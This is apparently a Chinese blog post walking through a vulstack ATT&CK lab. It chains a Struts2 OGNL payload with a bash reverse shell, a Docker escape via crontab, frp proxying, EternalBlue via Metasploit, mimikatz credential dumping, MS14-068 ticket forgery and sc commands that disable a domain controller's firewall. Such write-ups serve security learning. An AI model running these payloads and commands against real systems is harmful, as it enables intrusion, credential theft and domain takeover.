出来工作之后,有点热情消退,白天上班,晚上摆烂。想重新找下学习的冲动,装了一个靶场打了,顺便写篇博客吧,重拾热情,这应该也是vulstack的ATT&CK靶场中最简单的一个。
下载地址
首先要准备两个网卡,分别用主机模式,ip为192.168.157.0/24和192.168.183.0/24系列,192.168.157.0/24模拟外网的IP地址,192.168.183.0/24系列IP模拟内网的IP地址。
主要用到的知识点有:TOMCAT任意文件上传,Struts的CVE-2017-5638,以及Docker逃逸,永恒之蓝ms17-010,Kerberos,域用户提权漏洞ms14-068
环境装好后,开启Ubuntu主机,需要通过docker start打开docker容器。
出现此漏洞的原因是,内容类型在出错后未转义,然后由 LocalizedTextUtil.findText 函数用于生成错误消息。此函数将解释提供的消息,${…} 中的任何内容都将被视为对象图导航库 (OGNL) 表达式并按此计算。攻击者可以利用这些条件执行 OGNL 表达式,进而执行系统命令。
直接手工进行反弹shell,payload如下:
%{(#nike=‘multipart/form-data’).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘bash -i >& /dev/tcp/192.168.157.132/4444 0>&1’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,‘/c’,#cmd}:{‘/bin/bash’,‘-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
开始检测该端口是否为docker容器,检测的方法一般有以下:
- 通过查看/proc/self/cgroup的内容,一般出现全是docker为docker容器
先查看/proc/self/cgroup,发现确实是docker容器
查看是否是特权模式,cat /proc/self/status |grep Cap,特权模式对应的掩码为0000003fffffffff,并不是特权模式。查看是否存在主机磁盘挂载的情况,发现不存在。
但是Ubuntu14.04的版本中是可能存在脏牛漏洞的,可以通过脏牛漏洞进行docker逃逸,这里是没有尝试。
直接生成哥斯拉木马jsp文件,进行上传,并使用哥斯拉连接,继续查看是否能够进行docker逃逸。
这里很明显,能够使用特权模式进行逃逸,直接挂载主磁盘,通过写入定时计划的形式使主机反弹shell,完成逃逸。
通过定时任务的形式将Bash反弹shell写入到宿主机的/etc/crontab文件中
监听6666端口,反弹shell成功,查看Ubuntu外网机的IP地址,发现存在183网段。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.132 LPORT=4444 -f elf >1.elf
接下来就需要先拿下Windows7靶机,接着使用Windows7靶机拿下域控,为什么不能直接永恒之蓝拿下域控呢,因为域控开了防火墙,直接打,会失败,这里先进行内网穿透的代理,我这里使用frp。
先配置frpc.ini文件,使用socks5代理,填入kali攻击机的ip和接收端口,然后通过wget将frpc.ini和frpc都传入到Ubuntu主机中。
分别执行frps和在Ubuntu主机中执行frpc文件,内网穿透代理成功。
如何判断内网代理是否成功了呢,可以通过curl访问之前docker机的页面,如果能够访问,则代理成功,这里可以看到是代理成功的,注意这里的/etc/proxychains4文件需要配置为socks5 127.0.0.1 6000。
这里frp的主要原理大概就是通过服务端和客户端的形式建立连接,攻击机的流量通过6000端口进行客户端即我们的内网机器,结果会传如攻击机器的7000端口。
setg proxies socks5:127.0.0.1:6000
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.134
set RHOST 192.168.183.134
exploit
直接使用meterpreter的mimikatz模块,抓取主机的密码看看,这里msf6之后mimikatz模块融入了kiwi中。
能够看到其中一个用户的账号和密码以及域控主机的域名,进入shell,得出域控主机的ip地址为192.168.183.130。
ms14-068是指Kerberos漏洞,攻击者通过构造恶意的Kerberos票据来提升其在网络中的权限。具体来说,攻击者可以伪造一个高度权限的Kerberos服务票据(Ticket-Granting Ticket,TGT),然后使用该票据来获得其他用户的访问权限。
MS14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
接下来人傻了,因为还得通过msf写一个木马,传入域控主机,关闭域控主机的防火墙,然后反弹shell,拿下域控主机,但是再开msf的时候,好像不能再setg proxies了,会报错,我日,最后只能尝试远程桌面连接Windows7主机,然后这边再通过msf接收反弹的shell,先开启Windows7主机的3389端口。
在Windows主机上执行相同的票据伪造操作,并在msf中生成木马,传入域控中,反弹shell成功。
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.183.130 lport=8888 -f exe -o /var/www/html/bind.exe
upload /var/www/html/bind.exe c:/shell.exe
copy shell.exe \WIN-ENS2VR5TR3N\c$
sc \WIN-ENS2VR5TR3N create unFirewall binpath= “netsh advfirewall set allprofiles state off”
sc \WIN-ENS2VR5TR3N start unFirewall
sc \WIN-ENS2VR5TR3N create Startuu binpath= “C:\shell.exe”
sc \WIN-ENS2VR5TR3N start Startuu
注意要先生成服务,把防火墙给关闭掉,再执行反弹shell,成功拿下域控主机
通过Tomcat任意文件上传拿下shell,特权模式完成docker逃逸控制宿主机,通过frp内网穿透代理,通过MS17-010打下Win7,抓取域内的用户信息,用过MS14-068伪造票据拿下域控。